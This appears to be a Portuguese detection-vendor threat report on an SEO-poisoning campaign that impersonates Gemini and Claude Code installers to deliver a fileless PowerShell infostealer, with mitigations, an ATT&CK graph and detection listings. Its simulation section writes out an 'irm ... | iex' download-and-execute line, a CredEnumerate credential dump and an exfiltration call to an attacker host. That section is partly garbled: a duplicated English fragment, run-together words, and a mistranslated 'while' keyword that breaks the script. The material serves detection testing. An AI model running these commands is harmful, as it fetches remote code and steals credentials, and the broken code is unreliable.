Campanha de Envenenamento de SEO Usa Iscas de Código Gemini e Claude para Entregar um Infostealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Atores de eCrime motivados financeiramente estão usando envenenamento de SEO para promover domínios falsos que imitam instaladores para assistentes de codificação de IA. Vítimas que copiam e colam um único comando PowerShell dessas páginas acionam um ladrão de informações sem arquivo que executa totalmente na memória. O malware rouba credenciais, cookies de sessão, chaves de VPN e arquivos sensíveis antes de exfiltrar os dados em forma criptografada para um servidor de comando e controle. A campanha tem como alvo estações de trabalho de desenvolvedores Windows e se mistura à atividade normal, abusando de ferramentas de desenvolvimento familiares.
Investigação
Analistas da EclecticIQ rastrearam a infraestrutura maliciosa até .co.com domínios que servem strings de download do PowerShell através de irm and iex. O script de primeira fase lança uma janela PowerShell oculta usando Shell.Application.ShellExecute, em seguida, carrega tipos adicionais de C# para coletar credenciais, detalhes do sistema e outros dados valiosos. A exfiltração foi observada via HTTP e HTTPS para events.msft23.com and events.ms709.com usando caminhos de URL específicos. Análise passiva de DNS vinculou a operação a um provedor de hospedagem à prova de balas nos Países Baixos e a um cluster mais amplo de domínios de erro de digitação.
Mitigação
Os defensores devem detectar e bloquear o padrão de execução irm | iex janelas PowerShell ocultas e uso suspeito de Add-Type envolvendo chamadas P/Invoke. As organizações devem impor o Modo de Linguagem Constrita do PowerShell e usar o AppLocker ou o WDAC para impedir a execução de scripts de conteúdo originado da internet. Restringir o acesso de gravação na área de transferência do navegador e impor tokens OAuth de curta duração para contas de desenvolvedores pode reduzir ainda mais a exposição. Os desenvolvedores também devem ser treinados para evitar comandos de copiar-colar de sites não confiáveis.
Resposta
As equipes de segurança devem alertar sobre processos PowerShell lançados com -WindowStyle Hidden ou invocados através de Shell.Application.ShellExecute. Esses eventos devem ser correlacionados com solicitações HTTP de saída para domínios que correspondem a *-setup.com or events.*.com, especialmente quando os caminhos /take, /processou /validate aparecem. Se esse comportamento for detectado, isole o endpoint afetado, colete logs do PowerShell e realize coleta forense de dados de navegador e armazenamentos de credenciais.
graph TB %% Definições de Classes classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Nós – Ações initial_access[“<b>Ação</b> – <b>T1189 Compromisso por Drive-by</b>: Resultados de pesquisa SEO envenenados entregam uma página falsa de instalação do Gemini CLI / Claude Code.<br/><b>Subtécnicas</b> T1204.001 Execução pelo utilizador (link malicioso) e T1204.004 Execução pelo utilizador (PowerShell copiado e colado em linha única).”] class initial_access action execution[“<b>Ação</b> – <b>T1059.001 PowerShell</b>: Script em memória executado via Shell.Application.ShellExecute, download e execução reflexiva (irm|iex).<br/><b>Ofuscação</b> T1027 e T1027.016 código lixo.”] class execution action defense_evasion[“<b>Ação</b> – <b>T1562.001 Desativar Ferramentas de Segurança</b>: Patch a amsi.dll, desativação do ETW, verificação de sandbox para qemu-ga.<br/><b>Subtécnica</b> T1562.006 Desativar Event Tracing for Windows.”] class defense_evasion action credential_access[“<b>Ação</b> – <b>T1555.003 Credenciais de Navegadores Web</b>: Extração de credenciais e cookies do navegador.<br/><b>Técnicas adicionais</b> T1555.004 Gestor de Credenciais do Windows, T1552.001 Credenciais em ficheiros, T1552.002 Credenciais no registo, T1539 Roubo de cookies de sessão web, T1550.004 Cookie de sessão web.”] class credential_access action discovery[“<b>Ação</b> – <b>T1057 Descoberta de Processos</b>: Enumeração de processos via Restart Manager.<br/><b>Técnicas adicionais</b> T1083 Descoberta de ficheiros e diretórios, T1217 Descoberta de informação do navegador, T1497.002 Evasão de virtualização / sandbox.”] class discovery action collection[“<b>Ação</b> – <b>T1005 Dados do Sistema Local</b>: Recolha de ficheiros do utilizador (*.txt, *.docx) e diretórios sincronizados na nuvem (T1039).”] class collection action command_and_control[“<b>Ação</b> – <b>T1071.001 Protocolos Web</b>: Beacons HTTPS para endpoints events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Encriptação</b> lista de tarefas RSA (T1573) e transferência de payload (T1105 Ingress Tool Transfer).”] class command_and_control action exfiltration[“<b>Ação</b> – <b>T1041 Exfiltração via canal C2</b>: Exfiltração encriptada dos dados recolhidos.<br/><b>Subtécnica</b> T1020 Exfiltração automatizada.”] class exfiltration action %% Nós – Ferramentas / Malware tool_powershell[“<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br/><b>Descrição</b>: Motor de scripting do Windows usado para execução em memória.”] class tool_powershell tool tool_shellexecute[“<b>Ferramenta</b> – <b>Nome</b>: Shell.Application.ShellExecute<br/><b>Descrição</b>: Inicia janelas ocultas para execução de scripts.”] class tool_shellexecute tool tool_amsi_patch[“<b>Ferramenta</b> – <b>Nome</b>: Patch AMSI<br/><b>Descrição</b>: Modifica amsi.dll para evitar análise de scripts.”] class tool_amsi_patch tool tool_etw_disable[“<b>Ferramenta</b> – <b>Nome</b>: Desativação ETW<br/><b>Descrição</b>: Desativa Event Tracing for Windows para evitar deteção.”] class tool_etw_disable tool tool_credmanager[“<b>Ferramenta</b> – <b>Nome</b>: API CredEnumerate<br/><b>Descrição</b>: Recupera credenciais do Gestor de Credenciais do Windows.”] class tool_credmanager tool tool_ssh_reg[“<b>Ferramenta</b> – <b>Nome</b>: Recolha do Registo<br/><b>Descrição</b>: Lê palavras-passe armazenadas do WinSCP e PuTTY no registo.”] class tool_ssh_reg tool tool_vpn[“<b>Ferramenta</b> – <b>Nome</b>: Recolhedor de Configuração VPN<br/><b>Descrição</b>: Recolhe ficheiros de configuração VPN para possível reutilização.”] class tool_vpn tool tool_wallet[“<b>Ferramenta</b> – <b>Nome</b>: Roubo de Carteiras Cripto<br/><b>Descrição</b>: Extrai ficheiros de carteiras e chaves privadas.”] class tool_wallet tool %% Ligações – Fluxo do ataque initial_access –>|leva a| execution execution –>|usa| tool_powershell execution –>|usa| tool_shellexecute execution –>|contém| tool_amsi_patch execution –>|contém| tool_etw_disable execution –>|leva a| defense_evasion defense_evasion –>|usa| tool_amsi_patch defense_evasion –>|usa| tool_etw_disable defense_evasion –>|leva a| credential_access credential_access –>|usa| tool_credmanager credential_access –>|usa| tool_ssh_reg credential_access –>|usa| tool_vpn credential_access –>|usa| tool_wallet credential_access –>|leva a| discovery discovery –>|leva a| collection collection –>|leva a| command_and_control command_and_control –>|usa| tool_powershell command_and_control –>|leva a| exfiltration
Fluxo de Ataque
Detecções
Download ou Upload via PowerShell (via linha de comando)
Ver
Strings Suspeitas do PowerShell (via powershell)
Ver
Chamar Métodos .NET Suspeitos do PowerShell (via powershell)
Ver
IOCs (HashSha256) para detectar: campanha de envenenamento SEO que aproveita a personificação do Gemini e do Claude Code para entregar infostealer Parte 2
Ver
IOCs (HashSha256) para detectar: campanha de envenenamento SEO que aproveita a personificação do Gemini e do Claude Code para entregar infostealer Parte 1
Ver
IOCs (SourceIP) para detectar: campanha de envenenamento SEO que aproveita a personificação do Gemini e do Claude Code para entregar infostealer
Ver
IOCs (DestinationIP) para detectar: campanha de envenenamento SEO que aproveita a personificação do Gemini e do Claude Code para entregar infostealer
Ver
Detectar Padrão de Beacon C2 com Caminhos de URI Específicos [Conexão de Rede Windows]
Ver
Execução de Ladrão de Informações PowerShell Sem Arquivo [PowerShell do Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.
Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico errado.
-
Narrativa de Ataque e Comandos:
Um invasor compromete uma conta de usuário com poucos privilégios e executa um comando de uma linha PowerShell viacmd.exe. O comando de uma linha usairm(Invoke‑RestMethod) para buscar um script malicioso PowerShell deevents.msft23.com, o canaliza paraiex(Invoke‑Expression) para executar a carga útil completamente na memória e oculta a janela do PowerShell para evitar espionagem por sobre o ombro. A carga útil subsequente carrega um tipo .NET comAdd‑Typepara realizar a enumeração de credenciais usando oAPI CredEnumerate, exfiltra os dados coletados via HTTPS. Todas as etapas são executadas sem gravar arquivos no disco, correspondendo à descrição “sem arquivo”.API, exfiltrates the harvested data over HTTPS. All steps are executed without writing files to disk, matching the “file‑less” description.# Passo 1 – Lançamento oculto do PowerShell powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"O
payload.ps1baixado (executado na memória) contém:# Passo 2 – Carregar tipo .NET para enumeração de credenciais $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # Passo 3 – Invocar dump de credenciais e exfiltrar $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Coletado $count credenciais" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataEssa sequência gera os fragmentos de linha de comando que a regra Sigma corresponde:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
Script de Teste de Regressão: O script a seguir reproduz o comportamento exato em uma estação de trabalho de teste. Execute-o a partir de um prompt elevado do PowerShell.
# Simulação de Ladrão de Informações PowerShell Sem Arquivo – TC-20260525-A7Z3K # ------------------------------------------------------------ # Passo 1 – Executar PowerShell oculto que baixa e executa carga útil $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # Conteúdo simulado do payload.ps1 (hospedado localmente para testes seguros) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Coletado $count credenciais" # Simular exfiltração para um endpoint inofensivo Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # Escrever carga útil simulada para localização temporária para o teste (simulando hospedagem remota) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # Servir a carga útil via um simples ouvinte HTTP local (para demonstração) $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "Servindo carga útil simulada em http://localhost:8080/payload.ps1" enquanto ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # Nota: Pare o escutador manualmente após a validação. -
Comandos de Limpeza: Remova os arquivos temporários e pare o escutador HTTP.
# Limpeza após a simulação Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # Pare o escutador HTTP local (se ainda estiver em execução) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force